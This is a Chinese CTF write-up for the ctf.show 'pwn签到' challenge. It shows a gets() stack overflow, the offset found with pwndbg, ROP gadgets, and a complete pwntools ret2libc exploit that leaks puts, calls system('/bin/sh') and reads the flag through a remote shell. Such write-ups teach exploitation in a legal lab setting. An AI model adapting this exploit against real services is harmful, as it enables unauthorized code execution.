当前位置： 首页 > news >正文

ctf.show 卷王杯 pwn签到

news 来源：原创 2025/4/30 10:47:00

pwn签到 64位 ret2libc

pwn签到

(1)

motaly@motaly-VMware-Virtual-Platform:~/桌面$ file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0953abcf1dd632cfaa759f2f2948343f9ea5fffa, not stripped
motaly@motaly-VMware-Virtual-Platform:~/桌面$ checksec --file=pwn
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   67 Symbols	  No	0		1		pwn

(2)

用ida打开，按下F5(如果不行，看看有没有Fn键，Fn+F5)

int __fastcall main(int argc, const char **argv, const char **envp)
{_BYTE v4[32]; // [rsp+0h] [rbp-20h] BYREFalarm(0x3Cu);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);puts("This is easier than you would think...");puts("Santa allowed you to ROP me!");gets(v4);return 0;
}

看到gets函数，有缓冲区溢出，用pwngdb调试

otaly@motaly-VMware-Virtual-Platform:~/桌面$ gdb pwn
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:<http://www.gnu.org/software/gdb/documentation/>.For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 177 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from pwn...This GDB supports auto-downloading debuginfo from the following URLs:<https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in pwn)
------- tip of the day (disable with set show-tips off) -------
Pwndbg sets the SIGLARM, SIGBUS, SIGPIPE and SIGSEGV signals so they are not passed to the app; see info signals for full GDB signals configuration
pwndbg> cyclic 200
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
pwndbg> r
Starting program: /home/motaly/桌面/pwn 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
This is easier than you would think...
Santa allowed you to ROP me!
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaaProgram received signal SIGSEGV, Segmentation fault.
0x0000000000400712 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────RAX  0RBX  0x7fffffffd838 —▸ 0x7fffffffdc0a ◂— 0x6f6d2f656d6f682f ('/home/mo')RCX  0x7ffff7e038e0 (_IO_2_1_stdin_) ◂— 0xfbad208bRDX  0RDI  0x7ffff7e05720 (_IO_stdfile_0_lock) ◂— 0RSI  0x7ffff7e03963 (_IO_2_1_stdin_+131) ◂— 0xe05720000000000a /* '\n' */R8   0R9   0R10  0x7ffff7c0e008 ◂— 0x110022000047e8R11  0x246R12  1R13  0R14  0R15  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0RBP  0x6161616161616165 ('eaaaaaaa')RSP  0x7fffffffd718 ◂— 'faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa'RIP  0x400712 (main+156) ◂— ret 
─────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────────► 0x400712 <main+156>    ret                                <0x6161616161616166>↓───────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd718 ◂— 'faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa'
01:0008│     0x7fffffffd720 ◂— 'gaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa'
02:0010│     0x7fffffffd728 ◂— 'haaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa'
03:0018│     0x7fffffffd730 ◂— 'iaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa'
04:0020│     0x7fffffffd738 ◂— 'jaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa'
05:0028│     0x7fffffffd740 ◂— 'kaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa'
06:0030│     0x7fffffffd748 ◂— 'laaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa'
07:0038│     0x7fffffffd750 ◂— 'maaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa'
─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────► 0         0x400712 main+1561 0x6161616161616166 None2 0x6161616161616167 None3 0x6161616161616168 None4 0x6161616161616169 None5 0x616161616161616a None6 0x616161616161616b None7 0x616161616161616c None
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x6161616161616166
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40

得到偏移量为40

(3)

发现无 system，无 "/bin/sh"，所以是64位的ret2libc，这里选用puts函数来获得libc基址

因为是64位，需要堆栈平衡和puts函数有一个参数，所以要ret和寄存器rdi

motaly@motaly-VMware-Virtual-Platform:~/桌面$ ROPgadget --binary ./pwn --only 'pop|ret'
Gadgets information
============================================================
0x0000000000400774 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400776 : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400778 : pop r14 ; pop r15 ; ret
0x000000000040077a : pop r15 ; ret
0x0000000000400773 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400777 : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040065d : pop rbp ; ret
0x000000000040077b : pop rdi ; ret
0x0000000000400779 : pop rsi ; pop r15 ; ret
0x0000000000400775 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040053e : ret
0x0000000000400542 : ret 0x200a

得到ret的地址0x40053e和rdi的地址0x40077b

(4)

编写

from pwn import *
from LibcSearcher import*
context(os='linux',arch='amd64',log_level='debug')
io=remote('pwn.challenge.ctf.show',28228)
# io = process('/home/motaly/桌面/pwn')
elf=ELF('/home/motaly/桌面/pwn')puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=elf.sym['main']
rdi=0x40077b
ret=0x40053epayload=b'a'*40+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendlineafter(b'Santa allowed you to ROP me!\n',payload)puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success('puts_addr ：'+hex(puts_addr))libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
log.success('libc base: '+hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')payload=b'a'*40+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
io.sendlineafter(b'Santa allowed you to ROP me!\n',payload)io.interactive()

(5)

连接得到flag

motaly@motaly-VMware-Virtual-Platform:~/桌面$ python3  159.py
[+] Opening connection to pwn.challenge.ctf.show on port 28228: Done
[*] '/home/motaly/桌面/pwn'Arch:     amd64-64-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x400000)
[DEBUG] Received 0x44 bytes:b'This is easier than you would think...\n'b'Santa allowed you to ROP me!\n'
[DEBUG] Sent 0x49 bytes:00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│*00000020  61 61 61 61  61 61 61 61  7b 07 40 00  00 00 00 00  │aaaa│aaaa│{·@·│····│00000030  18 10 60 00  00 00 00 00  50 05 40 00  00 00 00 00  │··`·│····│P·@·│····│00000040  76 06 40 00  00 00 00 00  0a                        │v·@·│····│·│00000049
[DEBUG] Received 0x4b bytes:00000000  c0 c9 18 31  f6 7f 0a 54  68 69 73 20  69 73 20 65  │···1│···T│his │is e│00000010  61 73 69 65  72 20 74 68  61 6e 20 79  6f 75 20 77  │asie│r th│an y│ou w│00000020  6f 75 6c 64  20 74 68 69  6e 6b 2e 2e  2e 0a 53 61  │ould│ thi│nk..│.·Sa│00000030  6e 74 61 20  61 6c 6c 6f  77 65 64 20  79 6f 75 20  │nta │allo│wed │you │00000040  74 6f 20 52  4f 50 20 6d  65 21 0a                  │to R│OP m│e!·│0000004b
[+] puts_addr ：0x7ff63118c9c0
[+] There are multiple libc that meet current constraints :
0 - libc6_2.27-0ubuntu2_amd64
1 - libc-2.36-22.mga9.i586
2 - libc6_2.19-0ubuntu6.5_amd64
3 - libc6_2.27-3ubuntu1_amd64
4 - libc-2.36-33.mga9.i586
5 - libc6_2.37-0ubuntu1_amd64
6 - libc6_2.27-0ubuntu3_amd64
7 - libc-2.32-6.fc33.i686
8 - libc-2.32-8.fc33.i686
9 - libc-2.32-7.fc33.i686
[+] Choose one : 3
[+] libc base: 0x7ff63110c000
[DEBUG] Sent 0x49 bytes:00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│*00000020  61 61 61 61  61 61 61 61  3e 05 40 00  00 00 00 00  │aaaa│aaaa│>·@·│····│00000030  7b 07 40 00  00 00 00 00  9a fe 2b 31  f6 7f 00 00  │{·@·│····│··+1│····│00000040  40 b4 15 31  f6 7f 00 00  0a                        │@··1│····│·│00000049
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:b'ls\n'
[DEBUG] Received 0x64 bytes:b'bin\n'b'boot\n'b'dev\n'b'etc\n'b'flag\n'b'home\n'b'lib\n'b'lib32\n'b'lib64\n'b'media\n'b'mnt\n'b'opt\n'b'proc\n'b'pwn\n'b'root\n'b'run\n'b'sbin\n'b'srv\n'b'sys\n'b'tmp\n'b'usr\n'b'var\n'
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat  flag
[DEBUG] Sent 0xa bytes:b'cat  flag\n'
[DEBUG] Received 0x2e bytes:b'ctfshow{91e24165-1656-46e7-ae12-571f5f1f5b4d}\n'
ctfshow{91e24165-1656-46e7-ae12-571f5f1f5b4d}

相关文章：

  • 【计算机网络】DHCP——动态配置ip地址
  • linux 内核 debugfs 使用介绍
  • 精益管理是什么？如何才能实现精益管理？
  • 编程中如何与AI交互-结构化输入和理解确认机制
  • Qt开发之C++泛型编程进阶
  • 使用LangChain连接远程Oracle数据库尝试LLM 提供的SQL智能助理
  • 2024jxcpc D.Magic LCM (logn筛质因子）
  • 《递归：C语言中的强大工具》
  • 【缓冲区分析】叠加分析-要素叠加
  • 时态--09--动词过去式、过去分词
  • 批量打印工具使用全攻略
  • 无需下载，免费在线AI音乐生成器：爱狐AI详解与使用
  • 基于PLC的图书管理识别系统设计
  • 2-SAT之完美塔防
  • 在 VMware 虚拟机中安装 Windows7
  • SQL实战：04之SQL中的分组问题求解
  • VPN访问SAP组服务器报登陆负载均衡错误88：无法连接到消息服务器(RC=9)
  • 机器学习day4-Knn+交叉验证api练习（预测facebook签到位置）
  • AI工具 Trae 创建java项目和配置运行环境完整示例
  • js day9
  • “麒麟王”亮相上海彩市，体彩即开票“瑞兽家族”迎来新成员
  • 苏州一季度GDP为6095.68亿元，同比增长6%
  • 美军空袭也门拘留中心，已致68人死亡
  • 解放日报头版头条：“五个中心”蹄疾步稳谱新篇
  • 南阳市委原书记朱是西被“双开”：搞劳民伤财的“政绩工程”
  • 最高法改判一起植物新品种侵权案：判赔逾5300万元破纪录